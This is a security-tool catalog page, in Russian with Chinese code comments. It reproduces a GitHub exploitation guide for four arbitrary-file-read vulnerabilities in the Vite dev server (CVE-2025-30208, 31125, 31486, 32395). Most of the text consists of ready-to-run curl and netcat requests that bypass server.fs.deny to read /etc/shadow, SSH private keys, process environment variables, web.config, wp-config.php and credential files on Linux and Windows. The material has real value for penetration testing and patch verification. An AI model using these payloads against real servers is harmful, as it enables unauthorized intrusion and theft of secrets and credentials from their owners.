Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-30208-31125-31486-32395 — Руководство по эксплуатации и автоматизированный скрипт обнаружения для четырёх уязвимостей произвольного чтения файлов в dev-сервере Vite (CVE-2025-30208/31125/31486/32395) с примерами для Linux и Windows. | Kitploit
Инструменты/GitHubGitHub/nkuty/cve-2025-30208-31125-31486-32395
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на ПроникновениеОбучение и Образование
GitHubnkuty/cve-2025-30208-31125-31486-32395

CVE-2025-30208-31125-31486-32395

Руководство по эксплуатации и автоматизированный скрипт обнаружения для четырёх уязвимостей произвольного чтения файлов в dev-сервере Vite (CVE-2025-30208/31125/31486/32395) с примерами для Linux и Windows.

Репозиторий
5101 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Руководство по эксплуатации уязвимостей Vite (CVE-2025-30208/31125/31486/32395)

В этом документе приведены методы эксплуатации четырёх уязвимостей произвольного чтения файлов в dev-сервере Vite, включая примеры для Linux и Windows. Обратите внимание: использовать только в авторизованных средах тестирования безопасности.

Основной принцип

Все четыре уязвимости в dev-сервере Vite позволяют злоумышленнику обойти ограничение server.fs.deny и прочитать произвольные файлы на сервере. Каждая уязвимость использует свою технику обхода, но основной принцип схож.

Условия эксплуатации

Для эксплуатации всех четырёх уязвимостей необходимо соблюдение следующих условий:

  1. Целевая система использует подверженную уязвимости версию dev-сервера Vite
  2. Dev-сервер явно открыт для сети (с использованием параметра --host или конфигурации server.host)
  3. Для CVE-2025-32395 требуется также, чтобы сервер работал в среде Node или Bun (не Deno)

Методы эксплуатации

1. CVE-2025-30208 (обход через завершающий разделитель)

Затронутые версии: < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10

Исправленные версии: 6.2.3, 6.1.2, 6.0.12, 5.4.15, 4.5.10

Принцип эксплуатации: добавление к URL query-параметров ?raw?? или ?import&raw?? позволяет обойти ограничение пути @fs. Это происходит потому, что завершающие разделители (например, ?) удаляются в нескольких местах, но не учитываются в регулярном выражении для строки запроса.

Пример эксплуатации в Linux:```bash

读取任意文件

curl "http://[目标IP]:5173/@fs/etc/passwd?raw??" curl "http://[目标IP]:5173/@fs/etc/passwd?import&raw??" curl "http://[目标IP]:5173/@fs/var/log/auth.log?raw??" curl "http://[目标IP]:5173/@fs/home/[用户名]/.ssh/id_rsa?raw??"

验证漏洞是否存在

curl "http://[目标IP]:5173/@fs/etc/passwd" # 应返回403错误 curl "http://[目标IP]:5173/@fs/etc/passwd?raw??" # 如果返回文件内容,则存在漏洞

**Примеры эксплуатации Windows**:```bash
# 读取任意文件
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?raw??"
curl "http://[目标IP]:5173/@fs/C:/Windows/system32/drivers/etc/hosts?raw??"
curl "http://[目标IP]:5173/@fs/C:/Users/Administrator/Desktop/credentials.txt?raw??"
curl "http://[目标IP]:5173/@fs/C:/inetpub/wwwroot/web.config?raw??"

# 验证漏洞是否存在
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini"  # 应返回403错误
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?raw??"  # 如果返回文件内容,则存在漏洞

2. CVE-2025-31125 (обход через конкретный метод импорта)

Затронутые версии: те же, что и для CVE-2025-30208

Исправленные версии: те же, что и для CVE-2025-30208

Принцип эксплуатации: обход конфигурации server.fs.deny с помощью использования конкретных методов импорта, таких как ?inline&import или ?raw?import.

Пример эксплуатации в Linux:```bash

读取任意文件

curl "http://[目标IP]:5173/@fs/etc/passwd?inline&import" curl "http://[目标IP]:5173/@fs/etc/passwd?raw?import" curl "http://[目标IP]:5173/@fs/etc/shadow?inline&import" curl "http://[目标IP]:5173/@fs/proc/self/environ?inline&import"

验证漏洞是否存在

curl "http://[目标IP]:5173/@fs/etc/passwd" # 应返回403错误 curl "http://[目标IP]:5173/@fs/etc/passwd?inline&import" # 如果返回文件内容,则存在漏洞

**Пример эксплуатации Windows**:```bash
# 读取任意文件
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?inline&import"
curl "http://[目标IP]:5173/@fs/C:/Windows/system32/drivers/etc/hosts?inline&import"
curl "http://[目标IP]:5173/@fs/C:/Program Files/MySQL/MySQL Server 8.0/my.ini?inline&import"
curl "http://[目标IP]:5173/@fs/C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt?inline&import"

# 验证漏洞是否存在
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini"  # 应返回403错误
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?inline&import"  # 如果返回文件内容,则存在漏洞

3. CVE-2025-31486 (Обход через SVG и относительные пути)

Затронутые версии: < 6.2.5, < 6.1.4, < 6.0.14, < 5.4.17, < 4.5.12

Исправленные версии: 6.2.5, 6.1.4, 6.0.14, 5.4.17, 4.5.12

Принцип эксплуатации:

  1. Обход через SVG: добавление ?.svg?.wasm?init или использование заголовка sec-fetch-dest: script позволяет обойти проверку ограничений для файлов .svg
  2. Обход через относительные пути: использование уязвимости проверки до нормализации ID позволяет обойти ограничения с помощью относительных путей (например, ../../)

Пример эксплуатации в Linux:```bash

SVG绕过方法

curl "http://[目标IP]:5173/etc/passwd?.svg?.wasm?init" curl -H "sec-fetch-dest: script" "http://[目标IP]:5173/etc/passwd?.svg" curl "http://[目标IP]:5173/etc/nginx/nginx.conf?.svg?.wasm?init" curl "http://[目标IP]:5173/var/www/html/config.php?.svg?.wasm?init"

相对路径绕过方法

curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw" curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../etc/shadow?import&?raw" curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../var/log/auth.log?import&?raw"

验证漏洞是否存在

curl "http://[目标IP]:5173/etc/passwd" # 应返回404错误 curl "http://[目标IP]:5173/etc/passwd?.svg?.wasm?init" # 如果返回文件内容,则存在漏洞

**Пример эксплуатации Windows**:```bash
# SVG绕过方法
curl "http://[目标IP]:5173/C:/Windows/win.ini?.svg?.wasm?init"
curl -H "sec-fetch-dest: script" "http://[目标IP]:5173/C:/Windows/win.ini?.svg"
curl "http://[目标IP]:5173/C:/inetpub/wwwroot/web.config?.svg?.wasm?init"
curl "http://[目标IP]:5173/C:/Windows/Panther/Unattend.xml?.svg?.wasm?init"

# 相对路径绕过方法
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../C:/Windows/win.ini?import&?raw"
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../C:/Windows/system32/drivers/etc/hosts?import&?raw"
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../C:/Users/Administrator/Desktop/credentials.txt?import&?raw"

# 验证漏洞是否存在
curl "http://[目标IP]:5173/C:/Windows/win.ini"  # 应返回404错误
curl "http://[目标IP]:5173/C:/Windows/win.ini?.svg?.wasm?init"  # 如果返回文件内容,则存在漏洞

Примечание: обход SVG работает только тогда, когда файл меньше build.assetsInlineLimit (по умолчанию 4kB) и используется Vite 6.0+.

4. CVE-2025-32395 (обход недопустимого request-target)

Затронутые версии: < 6.2.6, < 6.1.5, < 6.0.15, < 5.4.18, < 4.5.13

Исправленные версии: 6.2.6, 6.1.5, 6.0.15, 5.4.18, 4.5.13

Принцип эксплуатации: используется особенность спецификации HTTP 1.1, которая запрещает использование символа # в request-target. В средах выполнения Node и Bun такие запросы не отклоняются внутренне: http.IncomingMessage.url содержит #, а Vite при проверке server.fs.deny предполагает, что req.url не содержит #.

Пример эксплуатации в Linux:```bash

使用curl的--request-target选项

curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/passwd" "http://[目标IP]:5173" curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/shadow" "http://[目标IP]:5173" curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../var/www/html/wp-config.php" "http://[目标IP]:5173"

或使用原始HTTP请求

echo -e "GET /@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/passwd HTTP/1.1\r\nHost: [目标IP]:5173\r\nConnection: close\r\n\r\n" | nc [目标IP] 5173 echo -e "GET /@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/shadow HTTP/1.1\r\nHost: [目标IP]:5173\r\nConnection: close\r\n\r\n" | nc [目标IP] 5173

Скачать инструмент